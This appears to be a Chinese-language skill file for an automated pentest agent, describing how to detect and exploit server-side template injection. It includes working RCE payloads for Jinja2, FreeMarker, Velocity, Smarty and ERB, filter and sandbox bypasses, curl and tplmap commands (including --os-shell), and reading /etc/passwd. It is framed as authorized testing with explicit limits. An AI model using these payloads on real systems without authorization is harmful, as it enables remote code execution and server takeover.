| name | ssti |
| description | SSTI 检测技能 —— 面向模板渲染系统,定位用户输入直接拼接到模板引擎上下文的端点,通过注入模板语法({{7*7}} ${7*7} <%=7*7%>)触发服务端计算或代码执行,产生可复现 PoC |
| phase | test |
| severity_focus | critical |
服务端模板注入检测技能(SSTI)
定位:面向模板渲染应用的 SSTI 漏洞,不是 XSS 扫描器。核心在于「识别哪些输入会被模板引擎解析」并「证明攻击者可通过注入模板语法执行服务端代码」—— 重点检测模板语法渲染(Jinja2/FreeMarker/Velocity/Smarty/Thymeleaf/ERB 等),而非简单的 HTML 注入。
漏洞原理
SSTI(Server-Side Template Injection)的本质是:Web 应用在渲染模板时,直接将用户可控的输入拼接到模板上下文,未做过滤或转义,导致模板引擎将其解析为模板语法而非普通文本。
- 模板语法注入:当用户输入被拼接到模板中时,注入的模板语法会被服务端执行。例如:
- Jinja2:
{{7*7}} → 渲染为 49
- Freemarker:
${7*7} → 渲染为 49
- ERB (Ruby):
<%=7*7%> → 渲染为 49
- Smarty:
{7*7} → 渲染为 49
- Velocity:
#set($x=7*7)${x} → 渲染为 49
- 对象访问注入:通过注入点访问模板上下文中的对象,进一步获取敏感信息或执行代码:
- Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
- Freemarker:
${"freemarker.template.utility.Execute"?new()("id")}
- Velocity:
#set($x='')##$x.class.forName('java.lang.Runtime').getRuntime().exec('id')
- 沙箱绕过:部分模板引擎有沙箱限制,攻击者通过访问对象的特殊属性或方法绕过限制,最终达成 RCE。
关键判断依据:提交模板语法 Payload 后,服务端响应中包含计算结果(如 49)或特征输出,确认模板引擎解析了注入的语法。
触发条件
满足以下任一信号即应进入本技能(侦查阶段 endpoints.json 标注了候选 SSTI 端点):
- 端点接受用户输入并在响应中原样返回:URL 参数、表单字段、Cookie 值、HTTP 头的值出现在响应页面。
- 输入值被拼接到错误页面:如 404 页面显示
Not found: {{7*7}} → 渲染为 Not found: 49。
- 输入值出现在邮件内容、PDF 导出、HTML 模板渲染中:用户可控内容被用于模板渲染场景。
- 框架特征明显:应用使用 Flask/Django(Jinja2)、Spring MVC(Thymeleaf/FreeMarker)、Ruby on Rails(ERB)、PHP(Smarty/Twig)等模板引擎。
- 输入点名称暗示渲染:
template、view、render、format、layout、content、message、greeting、name、username 等参数。
检测方法
流程:输入点识别 → 注入多语法 Payload → 观察响应渲染 → 确认模板引擎 → 构造利用链
步骤一:输入点筛选
- 抓包分析:使用 Burp Suite 或浏览器开发者工具,遍历应用的所有输入点(URL 参数、POST 参数、Cookie、HTTP 头)。
- 筛选标准:
- 输入值出现在响应页面中(反射型)或存储后再次显示(存储型)。
- 输入值被拼接到错误消息、问候语、邮件内容、导出文件中。
- 参数名称暗示模板渲染(
template、view、render、message、name 等)。
- 记录候选清单:端点、参数、请求方法、输入位置(URL/Body/Cookie/Header)。
步骤二:多语法 Payload 注入
核心验证动作——证明「输入被模板引擎解析」。
-
基础计算 Payload:在输入点提交以下 Payload,观察响应:
{{7*7}}
${7*7}
<%=7*7%>
{7*7}
${{7*7}}
#[[7*7]]
-
成功判断:
- 响应中出现
49 或其他计算结果。
- 响应中 Payload 部分被替换、删除或格式化(如
{{7*7}} 变为空或错误信息)。
- 响应时间异常(如注入延时语法
{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}} 导致 5 秒延迟)。
-
若无变化:尝试在 Payload 前后添加闭合语法(如 {{7*7}}}}、${{7*7}}),或测试不同参数。
步骤三:模板引擎指纹识别
确认存在 SSTI 后,识别具体的模板引擎类型。
-
语法特征识别:根据哪些 Payload 成功渲染判断:
{{7*7}} 成功 → Jinja2(Flask/Django)、Twig(PHP)
${7*7} 成功 → Freemarker(Java)、Velocity(Java)、Spring EL
<%=7*7%> 成功 → ERB(Ruby on Rails)
{7*7} 成功 → Smarty(PHP)
-
环境变量注入:注入访问环境对象的语法获取系统信息:
- Jinja2:
{{config.items()}} → 返回配置信息
- Freemarker:
${.globals} → 返回全局变量
- Velocity:
$context → 返回上下文对象
-
错误信息分析:观察模板解析错误,错误消息中常包含引擎名称和版本。
步骤四:RCE 利用链构造
确认引擎类型后,构造 RCE Payload 证明漏洞危害。
-
Jinja2 (Python) RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}
-
Freemarker (Java) RCE:
${"freemarker.template.utility.Execute"?new()("id")}
-
Velocity (Java) RCE:
#set($x='')##$x.class.forName('java.lang.Runtime').getRuntime().exec('id')
-
Smarty (PHP) RCE:
{php}system('id');{/php}
{if phpinfo()}{/if}
-
ERB (Ruby) RCE:
<%=system('id')%>
三层测试模型
对齐 DESIGN §3.1:L1 快速筛选候选 → L2 确认可利用 → L3 证明 RCE 能力
L1 探测
目标:快速识别哪些输入点存在模板语法渲染,不做完整利用。
- 批量多语法注入:对所有输入点批量提交
{{7*7}}\n${7*7}\n<%=7*7%>,观察哪些端点响应出现 49。
- 响应差异分析:对比注入前后的响应差异,检测 Payload 是否被解析(长度变化、内容替换)。
- 参数名筛选:优先测试
template、view、render、message、name 等暗示渲染的参数。
L2 验证
目标:对 L1 筛选出的候选点,通过精确 Payload 确认 SSTI 存在。
- 单语法验证:对每个候选点分别测试不同模板引擎的语法,确认具体引擎类型。
- 对象访问测试:注入
{{config}}、${.globals} 等访问上下文对象的语法,验证是否能获取环境信息。
- 影响评估:根据可访问的对象和执行能力定级——RCE 为 critical,信息泄露为 high,计算能力为 medium。
L3 绕过
目标:当基础 Payload 被过滤时,测试绕过方法。
- 编码绕过:对 Payload 进行 URL 编码、Unicode 编码、十六进制编码。
- 注释绕过:在语法中插入注释字符绕过 WAF(如
{ {7*7} }、{{""["\x5f\x5fclass\x5f\x5f"]}})。
- 混合语法:结合多种语法(如
${{{7*7}}})绕过单一语法过滤。
- 沙箱绕过:使用属性链绕过沙箱限制(如 Jinja2 的
__mro__、__subclasses__ 链)。
工具
curl(命令行注入测试)
curl -G 'https://target.com/search' \
--data-urlencode 'q={{7*7}}' \
-H 'Cookie: session=USER_SESSION'
curl -X POST 'https://target.com/api/message' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: session=USER_SESSION' \
-d 'message={{7*7}}&username=test'
curl 'https://target.com/profile' \
-H 'Cookie: user_pref={{7*7}}; session=USER_SESSION'
curl -G 'https://target.com/search' \
--data-urlencode 'q={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'
curl -G 'https://target.com/view' \
--data-urlencode 'template=${"freemarker.template.utility.Execute"?new()("id")}'
tplmap(自动化 SSTI 检测工具)
tplmap -u 'https://target.com/search?q=TEST'
tplmap -u 'https://target.com/api/message' -d 'message=TEST&username=test'
tplmap -u 'https://target.com/profile' -H 'Cookie: user_pref=TEST'
tplmap -u 'https://target.com/search?q=TEST' --engine=jinja2
tplmap -u 'https://target.com/search?q=TEST' --os-cmd='id'
tplmap -u 'https://target.com/search?q=TEST' --os-shell
Burp Suite(抓包与重放)
- Proxy → Intercept 捕获请求。
- Send to Repeater,在参数值位置注入 SSTI Payload。
- 观察响应中是否出现
49 或其他渲染结果。
- 使用 Intruder 批量测试多个 Payload 和多个参数。
输出格式
每个确认的 SSTI 漏洞按以下 Finding 结构输出(result 初值 validation_inconclusive,留待校验流水线):
{
"id": "SSTI-001",
"type": "ssti",
"severity": "critical",
"status": "confirmed",
"result": "validation_inconclusive",
"title": "搜索接口存在 Jinja2 SSTI 漏洞,可执行任意系统命令",
"endpoint": "GET /search",
"description": "该端点的 q 参数被直接拼接到 Jinja2 模板上下文,攻击者可注入模板语法 {{7*7}} 被渲染为 49,进一步可访问 config 对象执行系统命令,获取服务器权限",
"payload": {
"method": "GET",
"url": "/search",
"parameter": "q",
"headers": {
"Cookie": "session=USER_SESSION"
},
证据要求
什么才算确认 SSTI(禁止仅凭「响应包含 49」下结论,要证明模板语法被服务端解析):
- 语法渲染成功:注入模板语法 Payload 后,响应中出现计算结果(
{{7*7}} → 49)或对象信息({{config}} → 配置字典),这是核心判据。
- 引擎类型确认:通过多个 Payload 确认具体的模板引擎类型(Jinja2/Freemarker/ERB 等),而非模糊判断。
- RCE 能力证明:通过命令执行 Payload 获取系统信息(如
id、whoami、cat /etc/passwd),证明具备代码执行能力。
- 影响说明:注明该 SSTI 能执行的操作类型(RCE/信息泄露/文件读写)和是否需要用户交互,据此定级。
- 证据脱敏:请求中的会话 Cookie / 系统命令输出中的敏感信息在证据中脱敏;只记录「命令执行成功 + 脱敏输出」,不原文。
禁止事项
- 仅授权目标:SSTI 检测涉及命令执行,必须在书面授权范围内操作;检测前与委托方确认哪些端点允许实际执行命令、哪些只能做语法验证。
- 不破坏真实数据:优先使用只读命令(
id、whoami、ls /tmp);若必须测试写操作,选择测试目录或使用标记值便于回溯清理。
- 不对真实用户发起 SSTI:SSTI Payload 只在自有测试环境或测试账户间验证,绝不诱导真实用户访问含 SSTI Payload 的链接。
- 凭证不落明文:检测中获取的系统信息、数据库连接字符串、API 密钥等敏感凭证,证据只记录类型与存在性,不存原文。
- 不执行破坏性命令:禁止执行
rm -rf、dd、mkfs 等破坏性命令;禁止对生产环境执行高负载命令(如 fork bomb)。